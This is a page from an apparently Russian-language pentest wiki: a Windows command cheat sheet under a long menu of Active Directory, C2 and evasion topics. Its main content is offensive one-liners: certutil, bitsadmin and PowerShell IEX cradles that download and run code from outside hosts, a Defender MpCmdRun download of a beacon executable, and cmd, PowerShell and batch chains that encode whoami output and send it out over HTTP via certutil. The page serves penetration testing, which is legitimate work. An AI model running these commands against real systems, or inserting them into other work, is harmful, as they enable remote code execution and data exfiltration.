AppSec & Pentest
Pentest
Pentest
  • Pentest Book
  • Pentest Infrastructure
    • RootKITs
    • Active Directory
      • About
        • About Active Directory (AD)
        • Термины
        • Компоненты AD
        • Взаимодействие с AD
        • LDAP
      • Authentication Protocols
        • NTLM (общая информация)
        • Kerberos
          • About
          • Common
            • Abbreviations
            • Definitions
            • Tickets
            • Kerberos Services
          • Общая схема протокола Kerberos
          • Kerberos Across domains
          • Kerberos Delegation
          • SPN Kerberos
      • Authorization
        • ACL & ACE About
        • Privileges
      • Детектирование и защита
      • Methodology
      • Attacks
        • AD Enum
          • Domains
          • Forests
          • Trusts
          • Users
          • Groups
          • Computers and Shares
          • Services
          • Информация о сессиях
          • ACL & ACE Enum
          • Tools
        • PrivEsc
          • PrivEsc on Machine
          • PrivEsc on Domain
            • SMB Attacks
            • NTLM Attacks
            • Kerberos Basic Attacks
              • Kerberos Brute-Force
              • Kerberoast
              • AS-REP Roasting
              • AS-REQ Roasting
              • Pass-the-Key / Overpass-the-Hash
              • Path-the-Ticket
              • Silver Ticket
              • Golden Ticket
              • CVE-2020-17049: Kerberos Bronze Bit Attack
              • Papers
            • Через механизм доверия (Trusts)
            • Kerberos Across domains attacks
            • Kerberos Delegation attacks
            • Domain database dumping
              • About
              • NTDS.dit
              • DCSync
            • Services / SPN
            • ACL Attacks
            • Group Policy
              • Intro
              • Group Policy template и SYSVOL
              • Group Policy container
              • Group Policy Preferences (GPP)
              • Tools
            • DCShadow
            • DNSAdmins
            • CVEs
        • Logon Types
        • Lateral Movement
        • Token Manipulation
        • Services
          • AppLocker
          • Azure AD
          • Active Directory
            • ADCS
            • ADFS
            • ADIDNS
          • MSSQL
          • WinRM
          • VNC
          • LAPS
          • MS Exchange
        • M-13 Team Tips
          • Заметки на полях: получение списка существующих пользователей
          • Cheat Sheets: Групповые политики
          • Заметки на полях: детектирование действий в AD
      • Tools
        • Bloodhound
        • Invoke-Mimikatz
        • Mimikatz
        • CrackMapExec
        • SysInternalSuite
        • Potato
        • Rubeus
        • impacket
        • Responder
        • Powermad
        • Other tools
    • Machines
      • Windows
        • Windows computers connection
        • Windows computers credentials
        • Basic Vulnerabilities
        • Local PrivEsc
          • Intro
          • Recon
          • Техники
            • Windows Services / ACL
            • Registry Autoruns
            • Just Enough Administration (JEA)
          • Частные случаи
          • Enum Tools
        • Basic cmds
          • LOLBAS Project
          • Basic cmds Cheet Scheets
          • Exec other binary
          • System Information
          • User and Groups
          • ACL и ACE
          • Поиск файлов
          • System services
            • SCManager
        • Papers
        • AV Evasion
        • AMSI Bypass
        • MS ATA
        • CVEs
        • Events Codes
        • Windows Audit Mindmap
      • Linux
        • Про Kali Linux
          • From Docker
        • Basic cmds
          • sudo
          • Аналог LOLBAS Project
          • Когда нет возможности делать пайпы, но передать вывод надо
          • Посмотреть сессии на машине
        • LPE
          • Intro
          • Papers & Books
          • Tools
            • Some Pack
            • Some Exploit
            • Linux Smart Enum
            • Mangoose
            • PXEnum
            • MIDA
            • SUID exploit
            • Bashark
            • LinEnum
            • LinPEAS
            • LinuxPrivChecker
            • BashKIT Multitool
            • SysEnum
            • RootHelper
            • Auto-Root-Exploit
            • Other tools
        • Мониторинг процессов
      • Mac OS
        • PostExpluatation
    • Post-Exploitation (C2 services)
      • Purpose
      • Architecture C2
      • Summary
      • Metasploit (Ruby/Go/Python)
        • About
        • Basic Usage
        • Advanced Usage
          • msfvenom
          • meterpreter
          • Автоматизация
          • meetle
          • msf modules
      • Cobalt Strike
        • About
        • Basic Usage
        • [Dump] Cobalt Strike
      • Empire
        • About
        • Basic
        • Exploitation and Post-Exploitation with Empire
          • Windows
          • MacOS
          • Linux
        • [OLD] PowerShell Empire (PS/Python)
      • C3 (Custom Command and Control) framework (MWR Labs) (C++)
      • Merlin (Go)
      • Covenant (.Net Core)
        • About Covenant
        • Install & Run Covenant
        • Usage
      • Apfell (Python)
      • Faction C2 (Python)
      • Koadic (Python)
      • SilentTrinity
      • Zuthaka (Over C2)
    • Tools
      • Standalone binary
      • Комбайны
      • Pivoting, Tunneling
        • Tools
        • GOST
        • Proxychains
      • Password Spraying
      • PowerShell and Wrappers
        • Other tools
        • ProxyShell
          • About
          • Где логи powershell
          • Обфускация
      • Другие инструменты
        • Extract passwords and history from browser's local storage
        • Default Creds
        • Extract NTLM-hashes from PCAP
        • Internal-Monologue
        • gMSA
      • Scanners
        • ShareSniffer
        • nmap/mapscan
        • naabu - port scanner on Go
        • Nessus
        • Tsunami [Pre-alpha/Google]
        • Ostorlab
    • Devices
      • Найти информацию об оборудовании по FCC ID
      • Камеры
      • Принтеры
      • Mikrotik
      • CISCO
        • Cisco Phone Systems
        • Decrypt Various Cisco password types
        • CVE-2020-3187
        • CVE-2020-3452
      • WiFi
        • WiFi Hacking MindMap
        • Узнать пароль Wi-Fi на винде
        • Последовательность действий (грубо говоря)
        • Роутеры/маршрутизаторы
    • Ports
      • 161,162,10161,10162 SNMP
      • 389, 636, 3268, 3269 LDAP
      • 623 ipmi
      • 2049 NFS
      • 8172
      • 9000
    • Other Attacks
    • Others
      • Papers & Resources
      • Вывести файл на экран
      • Обучение
        • CRTE
        • CRTP
  • Red Team
    • Intro
    • Methodology
      • Проведение RedTeam у себя?
      • The Red Team Guide
      • Atomic Red Team
      • MindMap
    • Papers & Books
    • AMSI
    • Tools
Powered by GitBook
On this page
  • айпы команд
  • Скачать файл удаленно (и исполнить)
  • base64 for data
  • CMD: Отправить результат команды через http
  • TODO: переделать команды со скринов ниже в текст
  1. Pentest Infrastructure
  2. Machines
  3. Windows
  4. Basic cmds

Basic cmds Cheet Scheets

айпы команд

В powershell команды разделяются - ; в cmd -

&& - следующая команда выполняется, если предыдущая выполнилась успешно

& - последовательное выполнение команд

|| - вторая команда выполнится, если первая завершилась с ошибкой

Скачать файл удаленно (и исполнить)

# request 
certutil -urlcache -split -f http://192.168.1.2:443/a
bitsadmin /rawreturn /transfer down http://1.1.1.1/a.exe C:\windows\temp\a.exe

# exec script
powershell -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.1.2:443/a.ps1\")"

# download file
certutil -urlcache -split -f http://192.168.1.2:443/a a.bin
powershell -exec Bypass -C "(New-Object Net.WebClient).DownloadFile(\"http://192.168.1.2:443/some.exe\", \"path\some.exe\")"

Скачать файл с помощью Windows Defender (не проверено):

C:\Users\SomeUser\Desktop>"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpCmdRun.exe" -DownloadFile -url https://myserver.live/c-beacon.exe -path c:\\users\\someuser\\Desktop\\c-beacon.exe

base64 for data

certutil -f -encodehex test_input.txt test_output.txt 0x40000001
-f - переписать вывод (чтобы не было ошибки, если файл уже существует)

CMD: Отправить результат команды через http

cd C:\\Users\\Public\\Downloads && whoami > test.txt && certutil -f -encodehex test.txt test_out.txt 0x40000001 && for /F %i in (test_out.txt) do set result=%i && certutil -urlcache -f -split "http://PA-User50/%result%"
# Powershell constructor:
$unsetResult = "set result= && "
$cdRootDir = "cd C:\Users\Public\Downloads && " 
$whoami = "whoami > test.txt && "
$base64 = "certutil -f -encodehex test.txt test_out.txt 0x40000001 && "
$setVarResult = "for /F %i in (test_out.txt) do set result=%i && "
$sendResult = "certutil -urlcache -f -split \"http://PA-User50/%result%\""
$cmd = $unsetResult + .. + $sendRequest

bat-ником

@echo off
set result=
cd C:\Users\Public\Downloads
whoami > test.txt
certutil -f -encodehex test.txt test_out.txt 0x40000001

for /F %%i in (test_out.txt) do (
	set result=%%i
)
echo "test"
certutil -urlcache -f -split "http://PA-User50/%result%"
exit

TODO: переделать команды со скринов ниже в текст

PreviousLOLBAS ProjectNextExec other binary

Last updated 3 years ago